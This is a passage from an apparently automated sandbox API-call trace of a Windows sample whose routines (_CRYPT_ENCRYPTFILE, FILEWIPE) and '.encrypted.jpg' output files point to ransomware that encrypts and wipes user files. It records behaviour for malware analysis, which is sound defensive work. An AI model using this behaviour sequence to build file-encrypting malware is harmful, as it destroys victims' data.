wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.010] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.010] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0023.010] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0023.010] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0023.010] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.010] CryptReleaseContext (hProv=0xe8f40633e0, dwFlags=0x0) returned 1 [0023.010] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.011] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.011] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0023.011] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.011] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.011] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.012] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.013] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.014] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.014] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0023.014] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.014] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.014] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.014] CharLowerBuffW (in: lpsz="byte[87211]", cchLength=0xb | out: lpsz="byte[87211]") returned 0xb [0023.016] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.016] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0023.016] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.016] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0023.016] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.016] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.016] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.016] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0023.016] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.016] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.016] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.016] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.016] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.017] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.017] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.017] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.017] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.017] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.017] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.017] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.017] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.017] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.017] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.017] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.017] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0023.017] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.017] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.017] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.017] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0023.017] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.017] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.017] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.017] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.017] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.017] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.017] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0023.017] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.018] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.018] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.018] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.018] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.019] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.019] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.019] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0023.019] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.019] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.019] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.019] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.019] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.019] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0023.019] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=1594) returned 1 [0023.019] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0023.019] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0023.019] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0023.019] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x63a, lpOverlapped=0x0) returned 1 [0023.019] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0023.019] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x63a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0023.019] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=1594) returned 1 [0023.019] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\kQG5XtNI4DupERo o1m.encrypted.jpg\r\n", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0023.019] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\kQG5XtNI4DupERo o1m.encrypted.jpg\r\n", cchWideChar=65, lpMultiByteStr=0xe8f40512c0, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\kQG5XtNI4DupERo o1m.encrypted.jpg\r\n", lpUsedDefaultChar=0x0) returned 65 [0023.019] WriteFile (in: hFile=0x1fc, lpBuffer=0xe8f4069f50*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4069f50*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x40, lpOverlapped=0x0) returned 1 [0023.020] CloseHandle (hObject=0x1fc) returned 1 [0023.021] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.021] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.022] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0023.022] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0023.022] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0023.022] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0023.022] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0023.023] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0023.023] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0023.023] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0023.023] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178420, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0023.023] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0023.024] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0023.024] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178420, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0023.024] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0023.025] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\lQcVzOBTHZds7XE9L.swf", cchWideChar=51, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 51 [0023.025] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\lQcVzOBTHZds7XE9L.swf", cchWideChar=51, lpMultiByteStr=0xe8f404bf10, cbMultiByte=51, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\lQcVzOBTHZds7XE9L.swf", lpUsedDefaultChar=0x0) returned 51 [0023.025] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\lQcVzOBTHZds7XE9L.swf" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\lqcvzobthzds7xe9l.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0023.025] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=51, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 51 [0023.025] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=51, lpWideCharStr=0xe8f4062aa0, cchWideChar=51 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\lQcVzOBTHZds7XE9L.swf") returned 51 [0023.025] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0023.026] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0023.026] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0023.026] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0023.026] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0023.026] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0023.026] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f41783e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0023.027] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0023.027] CloseHandle (hObject=0x1fc) returned 1 [0023.027] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0023.027] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0023.027] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0023.027] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0023.027] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.027] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0023.027] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0023.027] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.027] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.027] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.028] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.028] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.028] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.028] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0023.028] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0023.028] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.028] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.028] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.028] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.028] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.028] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.028] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.028] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0023.028] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.028] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.028] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0023.028] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.028] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.028] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.028] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0023.028] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.028] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.028] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, 